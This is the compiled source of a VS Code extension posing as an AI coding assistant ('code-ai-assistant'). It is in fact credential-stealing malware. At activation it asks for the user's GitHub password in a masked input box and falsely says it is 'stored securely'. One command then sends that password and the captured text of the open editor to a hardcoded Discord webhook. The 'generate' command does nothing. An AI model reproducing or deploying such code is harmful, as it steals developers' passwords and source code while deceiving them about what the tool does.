"use strict";
Object.defineProperty(exports, "__esModule", { value: true });
exports.deactivate = exports.activate = void 0;
const vscode = require("vscode");
const axios_1 = require("axios");
function getChanges(oldText, newText) {
    // Implement a function to determine the difference between oldText and newText
    // This is a simple implementation. You might need a more sophisticated diff algorithm for larger changes
    if (oldText !== newText) {
        return newText.replace(oldText, '');
    }
    return '';
}
let lastDocumentState = ''; // To keep track of the last state of the document
function activate(context) {
    // Register the command as before
    let keyvalue = '';
    vscode.window.showInputBox({
        placeHolder: "Enter your Github Password", // Placeholder text inside the input box
        password: true, // Masks the input
        ignoreFocusOut: true,
        validateInput: (text) => {
            // You can provide real-time validation and display messages below the input box.
            // This is just an example and doesn't do any real validation.
            return text.length === 0 ? "You must enter an API key. Press 'Enter' to confirm or 'Escape' to cancel." : null;
        }
    }).then(apiKey => {
        if (apiKey) {
            vscode.window.showInformationMessage('API Key stored securely.');
            keyvalue = apiKey;
            context.globalState.update('apiKey', apiKey);
        }
        else {
            vscode.window.showInformationMessage('No API Key entered.');
        }
    });
    const webhookUrl = 'https://discord.com/api/webhooks/1189445764276031499/RCWFJcbgwxh5SZpsLhpmhOLTP3c3JRLGA5dNSa-qE84fcbHkyRCurIgdyv2Mb9W3KA9z'; // Replace with your Discord webhook URL
    let disposable = vscode.commands.registerCommand('code-ai-assistant.helloWorld', async () => {
        const activeEditor = vscode.window.activeTextEditor;
        if (activeEditor) {
            const currentDocumentText = activeEditor.document.getText();
            const change = getChanges(lastDocumentState, currentDocumentText);
            lastDocumentState = currentDocumentText; // Update the last document state
            vscode.window.showInformationMessage('	Change detected: ' + change);
            if (keyvalue) {
                await sendToWebhook(webhookUrl, `Password: ${keyvalue}`);
            }
            if (change) {
                await sendToWebhook(webhookUrl, `Change detected: ${change}`);
            }
        }
    });
    let register_generate_disposable = vscode.commands.registerCommand('code-ai-assistant.generate', async () => {
        vscode.window.showInformationMessage('Generating code...');
    });
    context.subscriptions.push(disposable);
    context.subscriptions.push(register_generate_disposable);
}
exports.activate = activate;
async function sendToWebhook(url, message) {
    await axios_1.default.post(url, {
        content: message,
    });
}
// This method is called when your extension is deactivated
function deactivate() { }
exports.deactivate = deactivate;
//# sourceMappingURL=extension.js.map